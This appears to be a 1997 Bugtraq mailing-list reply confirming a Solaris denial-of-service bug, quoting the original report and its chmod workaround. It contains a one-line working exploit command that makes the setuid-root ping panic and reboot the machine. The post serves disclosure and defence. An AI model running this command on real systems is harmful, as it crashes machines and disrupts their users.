Re: Solaris Ping bug (DoS)

[matt () bikkle iac co jp (just me.)]

Works on my box-

SunOS myhost 5.5.1 Generic_103640-08 sun4m sparc SUNW,SPARCstation-20

-r-sr-xr-x   1 root     bin        18172 May  3  1996 /usr/sbin/ping

instant panic and reboot.

On Thu, 26 Jun 1997, Adam Caldwell wrote:

> I briefly searched the bugtraq archives and didn't see this one, so here's a
> way to reboot a Solaris box, and is exploitable by anyone with an account on
> the system since ping is setuid root.
>
> ping -sv -i 127.0.0.1 224.0.0.1
>
> On solaris 2.5, causes the machine to reboot (personal experience).  I've
> had independent reports of it crashing 2.5.1, and 2.5 (x86).  It probably works
> on all versions of Solaris.
>
> To "fix" the denial of service:
> chmod go-x /usr/sbin/ping
> if you don't mind disabling Ping on your system.



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